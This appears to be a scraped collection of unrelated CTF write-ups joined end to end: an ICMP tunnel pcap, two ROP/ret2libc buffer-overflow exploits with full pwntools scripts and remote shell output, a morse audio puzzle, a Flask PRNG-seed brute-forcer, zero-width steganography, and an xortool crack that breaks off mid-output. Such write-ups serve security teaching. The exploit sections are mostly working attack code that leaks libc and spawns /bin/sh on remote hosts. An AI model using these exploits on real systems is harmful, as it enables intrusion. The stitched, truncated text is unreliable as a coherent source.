After 10 seconds. we got password **trustno1**, Now we can connect server with **./hans -c pingpong.pwn.institute -p trustno1**# ICMP TunnelWe can see biggest packet in pingpong.pcap, payload is **hanc\x07\x45\x00\x00\x54......**,
```0000 de 2e 40 5d d0 25 d6 d5 c8 65 38 4a 08 00 45 00 ..@].%...e8J..E.0010 00 75 65 39 40 00 36 01 52 98 bc 16 3e 45 0a 12 [email protected]...>E..0020 88 49 08 00 ae f5 39 88 31 bd 68 61 6e 63 07 45 .I....9.1.hanc.E0030 00 00 54 d4 02 40 00 40 01 c1 4e c0 a8 12 06 c0 ..T..@[email protected].....0040 a8 12 01 08 00 93 88 00 12 00 01 2a 6b 6a 5f 00 ...........*kj_.0050 00 00 00 5d 86 09 00 00 00 00 00 70 6c 65 61 73 ...].......pleas0060 65 67 69 76 65 6d 65 66 6c 61 67 70 6c 65 61 73 egivemeflagpleas0070 65 67 69 76 65 6d 65 66 6c 61 67 70 6c 65 61 73 egivemeflagpleas0080 65 67 69 egi```
With definision in worker.h, 0x07 is data.
from \x45\x00 to the end is another layer 3 packet . protocol is \x01 (ICMP), src ip is \xc0\xa8\x12\x06(192.168.18.6), dst ip is \xc0\xa8\x12\x01(192.168.18.1)
ICMP type is echo request. ICMP data is pleasegivemeflag# Get FlagSo after connect with server. we need ping 192.168.18.1 with hex payload of pleasegivemeflag, we can get response of flag. **ping 192.168.18.1 -p 706c65617365676976656d65666c6167**
Use tcpdump -i tun0 -Xnne, we can see flag **BCTF{sup_dawg_we_put_ICMP_into_your_ICMP}** |
```from pwn import *from struct import *
_remote=1_debug=0_gdb=0
prog="./rop"elf_prog=ELF(prog)
if _remote: proc=remote("pwn.chal.csaw.io",5016) libc=ELF("./libc-2.27.so")else: proc=process(prog) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if _gdb and _debug and _remote==0: gdb.attach(proc, ''' set pagination off set disassembly-flavor intel define hook-stop echo ****************************************************\\n echo ====================info register===================\\n info register echo ================32 word hex of ESP==================\\n x/32gx $rsp echo ================16 word hex of EBP==================\\n x/16gx $rbp echo ================next 5 instruction==================\\n x/5i $rip echo ****************************************************\\n end'''+ #break point at main "b*0x0000000000400601\n"+ #break point before main ret '''b*0x000000000040060b continue ''')
addr_main=elf_prog.symbols['main']got_puts=elf_prog.got['puts']'''The MOVAPS issueIf you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.'''ret_main=0x0000000000400611
# ROPgadget --binary rop --only "pop|ret"pop_rdi_ret=0x0000000000400683
plt_puts= elf_prog.plt['puts']
# phase 1 leak libc addresspayload = ""payload += "a"*(32+8) # padding to EBP of mainpayload += pack("Q",ret_main)payload += pack("Q",pop_rdi_ret)payload += pack("Q",got_puts)payload += pack("Q",plt_puts) # puts(got_puts)payload += pack("Q",addr_main) # go back to main
print payloadproc.sendlineafter('Hello\n',payload)
raw_byte=proc.recvline()
libc_puts=unpack("Q",raw_byte[:-1].ljust(8, '\x00'))[0]
libc_base=libc_puts-libc.symbols['puts']libc_system=libc_base+libc.symbols['system']libc_binsh=libc_base+libc.search('/bin/sh').next()
print "==="print "libc_base = "+hex(libc_base)print "libc_puts = "+hex(libc_puts)print "libc_system = "+hex(libc_system)print "libc_binsh = "+hex(libc_binsh)print "==="
# phase 2 contruct payload system('/bin/sh')payload_getshell = ""payload_getshell += "a"*(32+8)payload_getshell += pack("Q",pop_rdi_ret)payload_getshell += pack("Q",libc_binsh)payload_getshell += pack("Q",libc_system)
proc.sendlineafter('Hello\n',payload_getshell)proc.sendline("id")
proc.interactive()``` |
# DarkCTF 2020
## pwn/newPaX
> 95 solves / 411 points>> Author: gr4n173>> Even though Solar Designer gave you his times technique, you have to resolve(sort-out) yourself and go deeper. This time rope willn't let you have anything you want but you have to make a fake rope and get everything.>> `nc pwn.darkarmy.xyz 5001`> > [newPaX](newPaX)
Tags: _pwn_ _x86_ _remote-shell_ _rop_ _bof_
## Summary
`read` buffer overflow with no stack protection.
> This is virtually the same as [_return-to-what_](https://github.com/datajerk/ctf-write-ups/tree/master/downunderctf2020/return_to_what), _except it's 32-bits_.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)```
No shellcode, but that's about it.
### Decompile with Ghidra
```cvoid vuln(void){ undefined local_34 [44]; __x86.get_pc_thunk.ax(); read(0,local_34,200); return;}```
`read` bof vulnerability (reading 200 bytes into a 44-byte buffer that is `0x34` (52) bytes from the return address in the stack). Easy ROP since no canary or PIE. To get to the return address send `0x34` bytes (gotta love how Ghidra tells you that, i.e. `local_34`).
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./newPaX')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' libc = binary.libc p = process(binary.path)else: context.log_file = 'remote.log' libc_index = 5 p = remote('newpax.darkarmy.xyz', 5001)```
Boilerplate pwntools. Notice there's no `libc` set for `REMOTE` since we have to find it first (see `libc_index` below).
### Leak libc
```pythonpayload = 0x34 * b'A'payload += p32(binary.plt.printf)payload += p32(binary.sym.vuln)payload += p32(binary.got.printf)
p.send(payload)_ = p.recv(4)printf = u32(_)log.info('printf: ' + hex(printf))p.recv(20)```
Standard `printf` _printing_ itself. With the `printf` location known we can find the version and base address of libc. The last part of the payload jumps back to `vuln` for a second and final pass.
> While nearly identical to [roprop](https://github.com/datajerk/ctf-write-ups/tree/master/darkctf2020/roprop), less got this, perhaps 32-bit is a mystery.> > x86 32-bit systems pass params via the stack, no need for ROP gadgets like `pop rdi`. The params are return address, then params to the function. Above we're calling `printf` to leak itself, then setting the return address to `vuln` for a 2nd pass, then finally the first argument to `printf`--it's own address (the leak). Sometimes you have to worry about `EBX`, but that's a [story](https://github.com/datajerk/ctf-write-ups/tree/master/auctf2020/house-of-madness#but-wait--theres-more) for another time.
### Find libc
```pythonif not 'libc' in locals(): try: import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'printf':hex(printf)[-3:]}}) libc_url = r.json()[libc_index]['download_url'] libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content) except: log.critical('get libc yourself!') sys.exit(0) libc = ELF(libc_file)
libc.address = printf - libc.sym.printflog.info('libc.address: ' + hex(libc.address))```
> Something new I'm experimenting with.
The `if` block will detect and download the correct libc. `libc_url = r.json()[libc_index]['download_url']` needs to be changed if the downloaded libc does not work, just increment `libc_index` (see above) until you get the right one (`5` in this case).
### Get a shell, get the flag
```pythonpayload = 0x34 * b'A'payload += p32(libc.sym.system)payload += 4 * b'B'payload += p32(libc.search(b'/bin/sh').__next__())
p.send(payload)p.interactive()```
Pop a shell, get the flag.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/darkctf2020/newpax/newPaX' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[+] Opening connection to newpax.darkarmy.xyz on port 5001: Done[*] printf: 0xf7d67bd0[*] getting: https://libc.rip/download/libc6-i386_2.27-3ubuntu1.2_amd64.so[*] '/pwd/datajerk/darkctf2020/newpax/libc6-i386_2.27-3ubuntu1.2_amd64.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0xf7d17000[*] Switching to interactive mode$ ls -ltotal 32drwxr-x--- 1 0 1000 4096 Sep 25 01:59 bindrwxr-x--- 1 0 1000 4096 Sep 25 01:58 dev-rwxr----- 1 0 1000 49 Sep 21 17:58 flag.txtdrwxr-x--- 1 0 1000 4096 Sep 25 01:58 libdrwxr-x--- 1 0 1000 4096 Sep 25 01:58 lib32drwxr-x--- 1 0 1000 4096 Sep 25 01:58 lib64-rwxr-x--- 1 0 1000 7568 Sep 19 11:14 newPaX$ cat flag.txtdarkCTF{f1n4lly_y0u_r3s0lv3_7h1s_w17h_dlr3s0lv3}```
> _Is the flag hinting at a [ret2dlresolve](https://docs.pwntools.com/en/beta/rop/ret2dlresolve.html) solution?_ Not what I used here. |
Upon first listen, it seemed like the audio file was morse code with some severe distortions. Dean later described it as “bass-boosted peaky audio”, which is basically the same thing with fancier words.
On our first attempts, we tried to transcribe the morse code without manipulating the file, but this was seriously tedious and draining. (The exact words I used were “joyce is really not that patient”.)
Fun fact: The distorted song in the audio file is [Give Me a Home Among the Gumtrees](https://www.youtube.com/watch?v=MLWzPQmd5sc).
A few attempts later, Dean ported the file into [Audacity](https://www.audacityteam.org/) (our old friend!) and noticed the 600Hz tone (the morse code beep) was really prominent, and equalized the audio so that that tone could be isolated. 
Then it was just a matter of reading morse from this mess.
Which still took a while. Don’t get me wrong. (My friends are more patient than I.) But we ended up with this:
Result:```-.-. .- .-. .- -- . .-.. .-.. --- / -.- --- .- .-.. .- ... / .- .-. . / - .... . / -... . ... - / -.- --- .- .-.. .- ...```
Which, when translated from morse code, gave us the flag.
**Flag**: `CARAMELLO KOALAS ARE THE BEST KOALAS`**Tools**: [Audacity](https://www.audacityteam.org/), [morse code decoder which didn't end up working](morse code decoder)
Fun fact: Caramello koalas are actually [chocolates](https://www.wikiwand.com/en/Caramello_Koala)! They’re koala chocolates with caramel on the inside. Now I want some. They’re [$20+ on Amazon.ca](https://www.amazon.ca/Cadbury-Caramel-Koala-240g/dp/B002X0QG58) though … |
# Two Sides of a Coin
two-sides-of-a-coin.zip (the flask app provided for the challenge, all the code, listed out below)
The challenge was a bulletin board, going to the url gave you a list with the following posts: => Buying insomnia pills => Selling PlayStation 4 => Selling baby toys => All for $1 => Not selling anything, just kidding => Buying digital piano => Selling Ferrari => Cargo delivering => Will code for food => Still buying insomnia pills
First we checked the suspicious "Not selling anything, just kidding". It said it was posted exactly at 09:00. We had the flask app code for tha challege:
=> Dockerfile```FROM python:3.6
RUN pip install flask
COPY app/ /app/
WORKDIR /app
ENV READONLY 1
CMD python /app/app.py```
=> app/templates/add.html```html <html> <head> <title>Bulletin Board</title> </head> <body> <form action="/add" method="POST"> Title: <input name="title"> Text: <textarea name="text"></textarea> Extra notes (visible only to yourself): <textarea name="text_extra"></textarea> <input type="submit"> </form> </body> </html>```
Title: <input name="title">
Text: <textarea name="text"></textarea>
Extra notes (visible only to yourself): <textarea name="text_extra"></textarea>
=> app/templates/index.html```html <html> <head> <title>Bulletin Board</title> </head> <body> <h1> Bulletin Board </h1> {% for item in data %} {{ item.title }} {% endfor %} {% if not readonly %} NEW ADVERTISEMENT {% endif %} </body> </html>```
{{ item.title }}
NEW ADVERTISEMENT
=> app/templates/view.html ```html<html> <head> <title>Bulletin Board</title> </head> <body> <h1> {{ data.title }} </h1> {{ data.text }} {% if data.text_extra %} {{ data.text_extra }} {% endif %} {% if data.url_viewer %} See as guest {% endif %} <font color="lightgray">Posted at {{ data.posted_at }}</font> </body> </html>```
{{ data.text }}
{{ data.text_extra }}
See as guest
=> app/app.py```python#!/usr/bin/env python3
import datetimeimport osimport stringimport randomimport time
import sqlite3
from flask import Flask, redirect, render_template, request, url_for
READONLY = Falseif os.getenv('READONLY'): READONLY = bool(os.getenv('READONLY'))
app = Flask(__name__)
@app.route('/')def index(): conn = sqlite3.connect('board.db') c = conn.cursor() c.execute('SELECT id_viewer, title FROM board')
data = [] for item in c.fetchall(): data.append({ 'id': item[0], 'title': item[1], }) conn.close()
return render_template('index.html', data=data, readonly=READONLY)
def get_random_id(): alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
@app.route('/add', methods=['GET', 'POST'])def add(): if READONLY: return 'Sorry, new advertisements are temporarily not allowed.'
if request.method == 'GET': return render_template('add.html')
posted_at = round(time.time(), 4) random.seed(posted_at) id_viewer = get_random_id() id_editor = get_random_id()
conn = sqlite3.connect('board.db') c = conn.cursor() params = (id_viewer, id_editor, posted_at, request.form['title'], request.form['text'], request.form['text_extra']) c.execute('INSERT INTO board VALUES (?, ?, ?, ?, ?, ?)', params) conn.commit() conn.close()
return redirect('/view/' + id_editor)
@app.route('/view/<_id>')def view(_id): conn = sqlite3.connect('board.db') c = conn.cursor() params = (_id, _id) c.execute('SELECT id_viewer, id_editor, posted_at, title, text_viewer, text_editor FROM board WHERE id_viewer = ? OR id_editor = ? LIMIT 1', params) data = c.fetchone()
if not data: return 'Advertisement not found.', 404 # extra notes for editor is_editor = (data[1] == _id) text_extra = None url_viewer = None
if is_editor: text_extra = data[5] url_viewer = url_for('view', _id=data[0])
data = { 'posted_at': datetime.datetime.fromtimestamp(data[2], tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC'), 'title': data[3], 'text': data[4], 'text_extra': text_extra, 'url_viewer': url_viewer, } conn.close()
return render_template('view.html', data=data)
if __name__ == '__main__': app.run(host='0.0.0.0', port=5002)```
In view route we see we have text_extra if the id passed to the route is an editor_id for the post.
Also we can see the way the post is saved and the viewer and editor ids are created using the time for posted_at as seed for random. So we can make our own code to test it out.
After that we supposed the "Buying insomnia pills" and "Still buying insomnia pills" were suspicious. We supposed one is posted at exactly midnight and the other, 0.0001 millisecond before midnight. Which we tested and we got the same viewer_id. We got the editor_id and saw that the flag is somewhere in the middle. So we thought to bruteforce the timestamps.
**IMPORTANT NOTE**: We needed to see the timezone offset, since maybe the server time and our time is different and we need the exact number used for random seed. The "Not selling anything, just kidding" was a good thing to test it on. We got a 1hr offset.
Here's the code we used for the solution. Don't judge it too harshly it is just a POC. :)
=> solver.py```python#!/usr/bin/env python3import stringimport randomimport timefrom dateutil.parser import parse
# From the app.pydef get_random_id(): alphabet = list(string.ascii_lowercase + string.digits) return ''.join([random.choice(alphabet) for _ in range(32)])
# Gotten experimentallymy_timezone_offset = 3600
# Ones we were sure ofexact_datetimes = [ '2020-09-22 00:00:00.0000 UTC', '2020-09-22 09:00:00.0000 UTC', '2020-09-22 23:59:59.9999 UTC',]
for datetime_str in exact_datetimes: timestamp = parse(datetime_str) time_in_ms = float(timestamp.strftime("%s.%f")) + my_timezone_offset random.seed(time_in_ms) id_viewer = get_random_id() print(timestamp.isoformat()) print('id_viewer', id_viewer) id_editor = get_random_id() print('id_editor', id_editor)
# Timestamps unsure of and the 4-letter start of their viewer_iduncertain_datetimes = [ ['2020-09-22 00:00', 'n3jx'], ['2020-09-22 00:07', 'zzdu'], ['2020-09-22 04:25', 'bctf'], ['2020-09-22 13:37', 'vpir'], ['2020-09-22 14:12', 'wanl'], ['2020-09-22 20:09', '6645'], ['2020-09-22 21:09', 'cfdd'],]# We can bruteforce the seconds and miliseconds for all uncertain timestamps# and when we get the correct viewer_id we know we have the correct editor_idfor datetime_str, view_id in uncertain_datetimes: found = False for s in range(60): # No need to go on after it finds the correct timestamp if found: break for m in range(10000): timestamp = parse(datetime_str+":"+str(s)+"."+str(m)+" UTC") time_in_ms = float(timestamp.strftime("%s.%f")) + my_timezone_offset random.seed(time_in_ms) id_viewer = get_random_id() if id_viewer.startswith(view_id): print(timestamp.isoformat()) print('id_viewer', id_viewer) id_editor = get_random_id() print('id_editor', id_editor) found = True break```
Here are all the posts data:
```title => Buying insomnia pillsposted_at => 2020-09-22 00:00:00.0000 UTCid_viewer => 69if9kbky7rhhabku227u2vbdjahhp5jid_editor => gcncpaj4wqlk3zexnsgakwocdcrz7jrvtext => I can't sleep anymore. Does anyone have insomnia pills? I can drive to your place right now if needed.text_extra => I am tired, so posting this exactly at midnight.
title => Selling PlayStation 4posted_at => 2020-09-22T00:00:33.3333 UTCid_viewer => n3jxzus2yv2vujsnxx2vgsu94b90mn4cid_editor => 51vnjdckam1dqil9lgy22ykbuko2e6fptext => Price $500.text_extra => Bought it previously for $400 :-)
title => Selling baby toysposted_at => 2020-09-22T00:07:33.7937 UTCid_viewer => zzduxgm7wn8fireq07cgpk4nf8n34ea0id_editor => o0lbdfdrw8kawpk2yt8d44d4vwk43016text => My son grown up, so I don't need some toys anymore. Come and see.text_extra => Let's see how much I can get from it.
title => All for $1posted_at => 2020-09-22T04:25:06.3345 UTCid_viewer => bctf0eua8o7nl8uv9bpn6yho41p52welid_editor => v6s6flflu64wq8mcebwywwgue3d3ot6stext => Come to my backyard and check yourself.text_extra => URL looks interesting indeed. However, the flag is not here.
title => Not selling anything, just kiddingposted_at => 2020-09-22 09:00:00.0000 UTCid_viewer => eqgqdsvvfuizy8zn1albdpq7szjd13pyid_editor => brd6ogfmhuyc2unkuwv6yzy7kstkvg0atext => Look how cool I am. Posted this exactly at 9 a.m.text_extra => (Like a boss)
title => Buying digital pianoposted_at => 2020-09-22T13:37:10.1010 UTCid_viewer => vpir71pn503fw1cxhd8bwz8e9fcqvnl7id_editor => 3fbl8598ogc9bmdokyq20z9bpxrpovrrtext => Yamaha or similar.text_extra => You're on the right track.
title => Selling Ferrariposted_at => 2020-09-22T14:12:12.9998 UTCid_viewer => wanlon9q86hqarsilau6y6s499g4eixvid_editor => dhdgweruwpd25cndsa2kyrqzq42wkbujtext => 105,000 EUR -- for the same price I bought it before.text_extra => It's too cool for me.
title => Cargo deliveringposted_at => 2020-09-22T20:09:39.1234 UTCid_viewer => 6645nz5nxux67n69yx6armiov12hzgoxid_editor => raf54kfwox47uypahp1ngpxucify5e45text => Any time, any weight, anywhere!text_extra => Almost there, mate...
title => Will code for foodposted_at => 2020-09-22T21:09:31.3371 UTCid_viewer => cfddcxulrhohtilq03qke9v0iqwddmvzid_editor => k6wfi4zwhdcwqtqgay57djxpcv9gb7fktext => If you're interested, drop me a message.text_extra => BCTF{numb3rs_from_PRNG_are_n0t_really_rand0m} <- FLAG
title => Still buying insomnia pillsposted_at => 2020-09-22 23:59:59.9999 UTCid_viewer => 50gwkm297ip10bif2trwe58ylxj15xeoid_editor => zgka068rfqqejrv20htxrmjgk6brhq2ktext => Anyone? Please help.text_extra => It is the end! Flag should be somewhere earlier.``` |
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<div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>CSAW2020 - Widthness</h1>Write-Up Author: Teru Lei [MOCTF]Flag:flag{gu3ss_u_f0und_m3}<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Question:</h2><blockquote>Widthness</blockquote><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg>Write up:</h2><blockquote>First browse the web page. We can observe that the web page is mixed with English and other language and the description of content is a bit weired… it seems that there is something hidden in the web content.</blockquote><blockquote>View source. We can see comment ‘zwsp is fun!’</blockquote><blockquote>By google what is zwsp, ZWSP means ‘zero-width space’.And after google more. There is a good website for zwsp demo: https://offdev.net/demos/zwsp-steg-js</blockquote><blockquote>Let’s try to copy all of the web content by Ctrl-A->Ctrl-C to decode:</blockquote><blockquote>From the patten of result, it’s a base64 string, copy to online conversion website (e.g. base64decode.org) to decode:</blockquote><blockquote>It’s not a flag but obviously it’s a hint. And there is input field in web page. Try to copy the decoded output to webpage sign up text box, click ‘sign up’:</blockquote><blockquote>A path is shown. Add the path shown to the web path, use the base64 decoded output in previous steps as :</blockquote><blockquote>Seems it’s still another layer of zwsp. But after tried it did not work to just copy the webpage to zwsp demo webpage to decode. Next step let’s try to copy the source code by select ‘View Source’, and copy all content to zwsp decode:</blockquote><blockquote>The result output is a hex string. Copy thee hex string to online hex to ASCII conversion website (e.g. rapidtables.com) to convert:</blockquote><blockquote>With experience gained in previous steps, now we can try to copy the output to the text input field besides Sign Up again, then click Sign Up:</blockquote><blockquote>Another URL path show again, use the previous base64 decode output as pwd1 and hex to ASCII decode output as pwd2, we can get the flag finally:</blockquote></article> </div> </div>
Write-Up Author: Teru Lei [MOCTF]
Flag:flag{gu3ss_u_f0und_m3}
Widthness
First browse the web page. We can observe that the web page is mixed with English and other language and the description of content is a bit weired… it seems that there is something hidden in the web content.
View source. We can see comment ‘zwsp is fun!’
By google what is zwsp, ZWSP means ‘zero-width space’.And after google more. There is a good website for zwsp demo: https://offdev.net/demos/zwsp-steg-js
Let’s try to copy all of the web content by Ctrl-A->Ctrl-C to decode:
From the patten of result, it’s a base64 string, copy to online conversion website (e.g. base64decode.org) to decode:
It’s not a flag but obviously it’s a hint. And there is input field in web page. Try to copy the decoded output to webpage sign up text box, click ‘sign up’:
A path is shown. Add the path shown to the web path, use the base64 decoded output in previous steps as :
Seems it’s still another layer of zwsp. But after tried it did not work to just copy the webpage to zwsp demo webpage to decode. Next step let’s try to copy the source code by select ‘View Source’, and copy all content to zwsp decode:
The result output is a hex string. Copy thee hex string to online hex to ASCII conversion website (e.g. rapidtables.com) to convert:
With experience gained in previous steps, now we can try to copy the output to the text input field besides Sign Up again, then click Sign Up:
Another URL path show again, use the previous base64 decode output as pwd1 and hex to ASCII decode output as pwd2, we can get the flag finally:
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# Toolfrom name **xoared**， maybe we should try xortool first
# Crack```# xortool xoared The most probable key lengths: 1: 10.8% 3: 11.2% 6: 11.3% 8: 9.5%12: 9.8%15: 8.3%17: 7.0%19: 7.6%22: 6.8%43: 17.7%Key-length can be 3*nMost possible char is needed to guess the key!```
It seems key-length is 43.Brute force it:
```# xortool -b xoared The most probable key lengths: 1: 10.8% 3: 11.2% 6: 11.3% 8: 9.5%12: 9.8%15: 8.3%17: 7.0%19: 7.6%22: 6.8%43: 17.7%Key-length can be 3*n256 possible key(s) of length 43:"\x9f\xa4\xd2f\x02\xb8\x06\xbe\xd2*f\xb2a\x96\tLfF\x0cYoD_?K\xb2\xb9P\xc4\x92\xd6m\xa9\x12+\xad&\x03Y\x95\xd6,#\x9e\xa5\xd3g\x03\xb9\x07\xbf\xd3+g\xb3`\x97\x08MgG\rXnE^>J\xb3\xb8Q\xc5\x93\xd7l\xa8\x13*\xac'\x02X\x94\xd7- \x9d\xa6\xd0d\x00\xba\x04\xbc\xd0(d\xb0c\x94\x0bNdD\x0e[mF]=I\xb0\xbbR\xc6\x90\xd4o\xab\x10)\xaf$\x01[\x97\xd4.!\x9c\xa7\xd1e\x01\xbb\x05\xbd\xd1)e\xb1b\x95\nOeE\x0fZlG\\ |
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# Dimension 0```We found this super official and super scholarly mathematical article describing different dimensions. The title is "Dimension 0", but it doesn't talk about what that is...
Download the file below.```[dimension_0.html](dimension_0.html)
Just a HTML file, look in a browser:
Nothing interesting, look through the source found something interesting:
Notice the title is filled with [zero width spaces](https://en.wikipedia.org/wiki/Zero-width_space)
Then I use Python to grab all the characters:```pyimport retext = open("dimension_0.html",'r').read()# Grab the characters between title tagtext = re.findall("<title>(.*)</title>",text)[0]# Remove the "Dimension 0" textprint repr(text.replace("Dimension",'').replace(" ",'').replace("0",''))```Result:```'\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\xac\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\x